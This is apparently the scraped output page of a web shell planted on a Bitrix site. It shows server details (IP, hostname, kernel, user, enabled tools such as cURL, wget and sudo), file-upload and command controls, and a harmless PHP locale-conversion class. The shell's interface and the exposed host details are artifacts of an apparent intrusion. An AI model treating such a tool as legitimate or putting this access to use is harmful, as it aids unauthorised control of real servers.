403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/letme.watchman/lib/Common/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/letme.watchman/lib/Common/Locale.php
<?php

namespace Letme\Watchman\Common;

class Locale
{
    public static function isWin1251()
    {
        return (defined('BX_UTF') && BX_UTF === true) ? 0 : 1;
    }

    public static function convertToWin1251IfNeed($msg)
    {
        if (self::isWin1251() && self::detectUtf8($msg)) {
            $msg = iconv('utf-8', 'windows-1251//IGNORE', $msg);
        }
        return $msg;
    }

    public static function convertToUtf8IfNeed($msg)
    {
        if (self::isWin1251() && !self::detectUtf8($msg)) {
            $msg = iconv('windows-1251', 'utf-8//IGNORE', $msg);
        }
        return $msg;
    }

    protected static function detectUtf8($msg)
    {
        return (md5($msg) == md5(iconv('utf-8', 'utf-8', $msg))) ? 1 : 0;
    }

    public static function loadLocale($lang, $loc)
    {
        global $MESS;
        foreach ($loc as $shortName => $msg) {
            $MESS[self::getMessageName($shortName, $lang)] = self::convertToWin1251IfNeed($msg);
        }
    }

    public static function getMessageName($shortName, $lang = false)
    {
        $lang = ($lang) ? $lang : self::getLang();

        return strtoupper('LETME_WATCHMAN_' . $lang . '_' . $shortName);
    }

    public static function getLang()
    {
        return defined('LANGUAGE_ID') ? LANGUAGE_ID : 'ru';
    }

    public static function getMessage($shortName, $replaces = [])
    {
        $msg = GetMessage(self::getMessageName($shortName), $replaces);
        return ($msg) ? : $shortName;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit